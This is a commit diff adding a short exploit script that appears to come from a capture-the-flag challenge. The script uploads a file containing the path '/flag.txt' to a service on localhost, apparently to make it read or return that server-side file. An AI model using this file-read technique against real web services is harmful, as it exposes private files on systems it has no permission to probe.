Initial commit

exploits.old/xl/path

@@ -0,0 +1 @@
+/flag.txt

exploits.old/xl/play.py

@@ -0,0 +1,6 @@
+import requests
+
+url = f'http://localhost:11000?type=file'
+files = {'file': open('path', 'rb').read()}
+r = requests.post(url, files=files, timeout=5)
+print(r.json())